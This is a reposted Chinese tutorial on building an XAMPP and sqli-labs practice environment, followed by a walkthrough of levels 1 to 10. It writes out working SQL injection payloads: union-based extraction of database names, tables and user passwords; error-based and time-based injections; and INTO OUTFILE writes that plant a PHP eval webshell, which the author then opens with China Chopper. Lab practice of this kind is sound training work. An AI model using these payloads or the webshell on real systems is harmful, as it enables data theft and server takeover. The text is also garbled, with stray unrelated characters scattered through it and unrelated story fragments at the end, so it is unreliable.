搭建sql注入環(huán)境xampp+sqli-labs织阳,及例子

轉載自https://www.cnblogs.com/sylarinfo/p/3456445.html

https://blog.csdn.net/sdb5858874/article/details/80727555

# xampp要下載php版本小于7的因為sqli-labs是php5寫的

搭建服務器環(huán)境

1.下載xampp包

地址:http://www.apachefriends.org/zh_cn/xampp.html

? 很多人覺得安裝服務器是件不容易的事彬祖,特別是要想添加MySql, PHP組件姐呐,并且要配置起來讓它們能夠工作就更難了聚至。這里介紹一個好用的軟件xampp化戳,他已經把所有的工作做完了宜雀,你要做的只需下載切平,解壓縮,啟動即可辐董。它有提供各種操作系統(tǒng)的版本悴品,同時也提供安裝版和便攜綠色版


2.使用xampp

? 將下載的壓縮包解壓至D盤(你也可以放到你喜歡的地方,路徑最好沒有空格)简烘,雙擊xampp-control.exe啟動控制臺


? 點擊start啟動apache和mysql



? 這時可以看到啟動的信息和端口苔严。如果在你的電腦中無法啟動apache服務,首先檢查一下是不是端口有跟別的軟件有沖突孤澎,如果是的話届氢,可以修改httpd-ssl.conf里的 Listen 446,避免沖突



確認apache和mysql都成功啟動之后覆旭,瀏覽器中輸入http://localhost:446/xampp/(注意端口號)可看到如下圖即證明安裝成功


安裝sql注入實驗網站

? 下面是sql注入環(huán)境的搭建

1. 下載sql實驗環(huán)境

? 所用環(huán)境的代碼是一個印度人的開源項目平臺退子。里面包含了基本的各種注入類型,同時又有get和post類型型将,以及一些基本的繞過學習寂祥。

下載地址:https://github.com/Audi-1/sqli-labs


2. 安裝

? 將下載好的源代碼包解壓到xampp目錄下的\htdocs文件夾,重命名為sqli-labs七兜。然后編輯sql-connections文件夾下的db-creds.inc文件配置數(shù)據(jù)庫丸凭。xampp 自帶的mysql默認用戶名是root,密碼為空。



打開瀏覽器鏈接http://localhost:446/sqli-labs/惜犀,點擊網頁上的Setup/reset Database for labs铛碑,將數(shù)據(jù)庫建起來了之后就可以使用。在實驗過程中可能會破壞數(shù)據(jù)庫完整性向拆,也可以點擊這個恢復初始數(shù)據(jù)亚茬。




3.如何使用(以第一課為例)

點擊第一課Less-1


這個是基于get的頁面,我們直接在鏈接后跟?id=1 看效果


可以看的有數(shù)據(jù)返回了浓恳。然后嘗試下 ?id=\ 很明顯沒有對數(shù)據(jù)庫錯誤回顯進行處理。這是最基本的一個例子碗暗,大家可以嘗試更高級的例子

sqli-labs闖關指南 1—10 - 18年3月萌新白帽子 - CSDN博客

Original:?blog.csdn.net

如果你是使用的phpstudy颈将,請務必將sql的版本調到5.5以上,因為這樣你的數(shù)據(jù)庫內才會有information_schema數(shù)據(jù)庫言疗,方便進行實驗測試晴圾。

另外-- (這里有一個空格,--空格)在SQL內表示注釋噪奄,但在URL中死姚,如果在最后加上-- ,瀏覽器在發(fā)送請求的時候會把URL末尾的空格舍去勤篮,所以我們用--+代替-- 都毒,原因是+在URL被URL編碼后會變成空格。

第一關

1.經過語句and 1=2測試 碰缔,頁面回顯正常账劲,所以該地方不是數(shù)值查詢

2.接著嘗試在id后面加上',發(fā)現(xiàn)頁面回顯不正常金抡,表示可能存在SQL字符注入

3.輸入--+將sql后面的語句注視掉后瀑焦,發(fā)現(xiàn)頁面回顯正常,則證明這個地方是單引號字符型注入

4.接著使用order by 語句判斷梗肝,該表中一共有幾列數(shù)據(jù)

? order by 3頁面回顯正常榛瓮,order by 4頁面回顯不正常,說明此表一個有3列巫击。

5.將id=1改為一個數(shù)據(jù)庫不存在的id值禀晓,如861,使用union select 1,2,3聯(lián)合查詢語句查看頁面是否有顯示位喘鸟。

發(fā)現(xiàn)頁面先輸出了2和3匆绣,說明頁面有2個顯示位

6.然后利用sql查詢語句依次爆破出數(shù)據(jù)庫內的數(shù)據(jù)庫名,表名什黑,列名崎淳,字段信息

例子:

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

這是一個查詢數(shù)據(jù)庫名信息的語句

查詢security內的所有表名

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

接著使用下面的語句爆破出列名

select group_concat(column_name) from information_schema.columns where table_name='users'

接著使用如下語句查詢所有的用戶名,密碼

lesect group_concat(password) from security.users

lesect group_concat(username) from security.users

第二關愕把、

1.輸入?id=2-1頁面信息發(fā)生變化拣凹,說明此處是數(shù)值型注入

2.order by 3? 頁面顯示正常森爽,order by 4頁面顯示不正常,所以該表有3列數(shù)據(jù)

接著可以使用聯(lián)合查詢進行注入嚣镜,詳細過程參考第一關

第三關爬迟、

1.向頁面輸入?id=2'??--+頁面顯示不正常,

但是輸入? ?id=2') --+ 頁面回顯正常菊匿,說明此處是字符型注入,而且是以 ('')的方式閉合字符串的

2.接著使用order by 判斷表中有3列數(shù)據(jù)

3.接著使用聯(lián)合查詢付呕,union select 1,2跌捆,3 判斷頁面是否有顯示位? ?答案:有

下面使用第一關所使用的查詢語句徽职,測試一下

頁面顯示沒有問題

第四關、

與第三關類似佩厚,第四關使用? ?("")? ?的方式閉合字符串姆钉,然后可以優(yōu)先使用聯(lián)合查詢注入

1.當輸入?id=3" --+時,頁面顯示不正常

2.當輸入?id=3") --+

第五關抄瓦、

1.經錯測試發(fā)現(xiàn)潮瓶,當輸入?id=3時頁面顯示正常,具體如下

當輸入?id=486頁面顯示如下

說明頁面沒有顯示位钙姊。無法使用聯(lián)合查詢注入

2.接著我們嘗試在URL中輸入? ?id=2' 頁面出現(xiàn)錯誤語句如下

頁面出現(xiàn)SQL語句報錯毯辅,在這里我們就可以使用一種新的注入方式:報錯注入

首先介紹三種報錯注入常用的語句:

(1). 通過floor報錯

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload為你要插入的SQL語句

需要注意的是該語句將?輸出字符長度限制為64個字符

(2). 通過updatexml報錯

and updatexml(1,payload,1)

同樣該語句對輸出的字符長度也做了限制,其最長輸出32位

并且該語句對payload的反悔類型也做了限制摸恍,只有在payload返回的不是xml格式才會生效

(3). 通過ExtractValue報錯

and extractvalue(1,?payload)

輸出字符有長度限制悉罕,最長32位。

payload即我們要輸入的sql查詢語句

3.在這里我們使用floor報錯語句進行注入

?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

這里發(fā)現(xiàn)頁面提示我輸出信息超過一行立镶,但我們已經使用了group_concat函數(shù)壁袄,說明這里數(shù)據(jù)庫名組成的字符串長度超過了64位,所以我們需要放棄group_concat函數(shù)媚媒,而使用limit 0,1來一個個輸出

group_concat()函數(shù)的作用:將返回信息拼接成一行顯示

limit 0,1? 表示輸出第一個數(shù)據(jù)嗜逻。? ?0表示輸出的起始位置,1表示跨度為1(即輸出幾個數(shù)據(jù)缭召,1表示輸出一個栈顷,2就表示輸出兩個)

接著我們運用如下語句:

and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

需要注意的是,此時數(shù)據(jù)庫名并不是 information_schema1

這個1是floor報錯語句中輸出的也一部分(無論輸出什么結果嵌巷,都會有這個1)

為了防止某些時候萄凤,我們誤以為這個1也是我們查詢結果的一部分,我建議大家使用一個搪哪;與它分開靡努,語句如下:

?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

下面我們更該我們的payload一個個的查詢我們要找的數(shù)據(jù)即可,這里不再演示

第六關、

與第5關類似惑朦,只不過這一關使用的是? ""的方式閉合字符串

我們只需要將?id=2' 改為 ?id=2"即可

其余過程不再贅述兽泄,請參考第五關

第七關、

想了一下漾月,可能會有很多小白和我一樣病梢,對數(shù)據(jù)庫file權限和 into outfile這個命令比較陌生,所以在這里科普一下file權限和into outfile這個函數(shù)梁肿。

數(shù)據(jù)庫的file權限規(guī)定了數(shù)據(jù)庫用戶是否有權限向操作系統(tǒng)內寫入和讀取已存在的權限

into outfile命令使用的環(huán)境:

我們必須知道蜓陌,服務器上一個可以寫入文件的文件夾的完整路徑

1.我們正常輸入?id=1頁面回顯如下

2.當我們輸入 and 1=2 頁面顯示依然正常,說明不是數(shù)值型注入

3.當我們輸入?id=1'頁面報錯吩蔑,說明可能存在"注入

4..當我們輸入?id=1' --+頁面顯示依然不正常

5.接著我們嘗試?id=1') --+护奈,頁面依然顯示不正常,有點難受哥纫,不過沒關系

6.我們可以接著輸入?id=5'))??--+嘗試,發(fā)現(xiàn)頁面回顯正常

7. 由于本關卡提示我們使用file權限向服務器寫入文件痴奏,我們就先嘗試下寫數(shù)據(jù)

由于我用的是phpstudy搭建的環(huán)境蛀骇,所以我直接在我本機取一個目錄就好

C:\phpStudy\PHPTutorial\MySQL\data

然后使用union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 嘗試寫入文件。

然后去本機文件夾下查看文件是否寫入成功读拆。

寫入成功了擅憔,但是文件名變成了如圖紅色表示的那樣!檐晕!

接著我進行了好多次嘗試暑诸,最后被同學告知,需要使用\\來代替目錄中的\ 辟灰,具體原因我也不知道个榕,后續(xù)會補上。? 命令如下:

union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"

文件導入成功!芥喇,接著我們查看chao.php的內容

需要注意的是利用數(shù)據(jù)庫file權限向操作系統(tǒng)寫入文件時西采,?對于相同文件名的文件不能覆蓋,所以如果第一次上傳chao.php继控,下次在上傳chao.php械馆,就是無效命令了,也就是新的chao,php中的內容并不會覆蓋武通,之前的chao.php

我們再嘗試上傳一句話木馬霹崎,具體命令

?id=-1'))??union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+

接著試著訪問一下這個文件

上傳成功,使用菜刀鏈接下

連接成功R背馈N补健!!

第八關错沽、

1.?id=2' --+ 頁面回顯正常簿晓,不贅述了,這里是單引號字符型注入

2.頁面沒有顯示位千埃,沒有數(shù)據(jù)庫報錯信息憔儿。

我們先嘗試一下是否有file權限

http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+

上傳成功

當然我嘗試下了下布爾和時間盲注,都是可以的

第九關放可、

這里我們嘗試使用單引號和雙引號閉合谒臼,發(fā)現(xiàn)頁面回顯一直正常,說明該關卡可能將我們的單雙引號給退意了耀里。

但是我輸入%df之后頁面回顯依然正常蜈缤,這個時候我覺得應該是無論我輸入什么頁面回顯都是一樣的。所以我嘗試使用sleep()函數(shù)來測試

經過多次嘗試冯挎,這里是單引號閉合的時間注入

' and sleep(5)

第十關底哥、

基于雙引號的時間注入

?id=2" and sleep(5) --+

這里我就不在一個一個字母的去測試了,大家了解一下時間盲注就好

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末房官,一起剝皮案震驚了整個濱河市趾徽,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌翰守,老刑警劉巖孵奶,帶你破解...
    沈念sama閱讀 221,695評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異蜡峰,居然都是意外死亡了袁,警方通過查閱死者的電腦和手機湿颅,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評論 3 399
  • 文/潘曉璐 我一進店門载绿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人肖爵,你說我怎么就攤上這事卢鹦。” “怎么了劝堪?”我有些...
    開封第一講書人閱讀 168,130評論 0 360
  • 文/不壞的土叔 我叫張陵冀自,是天一觀的道長。 經常有香客問我秒啦,道長熬粗,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,648評論 1 297
  • 正文 為了忘掉前任余境,我火速辦了婚禮驻呐,結果婚禮上灌诅,老公的妹妹穿的比我還像新娘。我一直安慰自己含末,他們只是感情好猜拾,可當我...
    茶點故事閱讀 68,655評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著佣盒,像睡著了一般挎袜。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上肥惭,一...
    開封第一講書人閱讀 52,268評論 1 309
  • 那天盯仪,我揣著相機與錄音,去河邊找鬼蜜葱。 笑死全景,一個胖子當著我的面吹牛,可吹牛的內容都是我干的牵囤。 我是一名探鬼主播爸黄,決...
    沈念sama閱讀 40,835評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼揭鳞!你這毒婦竟也來了馆纳?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 39,740評論 0 276
  • 序言:老撾萬榮一對情侶失蹤汹桦,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后鉴裹,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體舞骆,經...
    沈念sama閱讀 46,286評論 1 318
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 38,375評論 3 340
  • 正文 我和宋清朗相戀三年径荔,在試婚紗的時候發(fā)現(xiàn)自己被綠了督禽。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,505評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡总处,死狀恐怖狈惫,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情鹦马,我是刑警寧澤胧谈,帶...
    沈念sama閱讀 36,185評論 5 350
  • 正文 年R本政府宣布,位于F島的核電站荸频,受9級特大地震影響菱肖,放射性物質發(fā)生泄漏。R本人自食惡果不足惜旭从,卻給世界環(huán)境...
    茶點故事閱讀 41,873評論 3 333
  • 文/蒙蒙 一稳强、第九天 我趴在偏房一處隱蔽的房頂上張望场仲。 院中可真熱鬧,春花似錦退疫、人聲如沸渠缕。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,357評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽亦鳞。三九已至,卻和暖如春澜汤,著一層夾襖步出監(jiān)牢的瞬間蚜迅,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,466評論 1 272
  • 我被黑心中介騙來泰國打工俊抵, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留谁不,地道東北人。 一個月前我還...
    沈念sama閱讀 48,921評論 3 376
  • 正文 我出身青樓徽诲,卻偏偏與公主長得像刹帕,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子谎替,可洞房花燭夜當晚...
    茶點故事閱讀 45,515評論 2 359

推薦閱讀更多精彩內容

  • MSSQL 跨庫查詢(臭要飯的!黑夜) 榨干MS SQL最后一滴血 SQL語句參考及記錄集對象詳解 關于SQL S...
    碧海生曲閱讀 5,608評論 0 1
  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串偷溺,最終達到欺騙服務器執(zhí)行...
    付出從未后悔閱讀 697評論 0 3
  • 基于錯誤_POST_更新查詢注入 我討厭這個錯誤回顯。 這一關有很多不同的解法钱贯,我們將依次分析(這篇看上去會很長)...
    Hyafinthus閱讀 4,045評論 7 12
  • 本周是正式打卡第一周: 1.適應了打卡挫掏,早起,還需要盡量早睡 2.每天固定聽音頻秩命,打開一個效能世界 3.每天用番茄...
    青子2014閱讀 120評論 0 0
  • 人接觸多了尉共,發(fā)現(xiàn)那些越富有的人真的越和善,而且脾氣越好弃锐,之所以那些富人更好袄友,他們也是不斷修煉不斷努力,而拿些窮...
    幽幽梔子香閱讀 699評論 0 0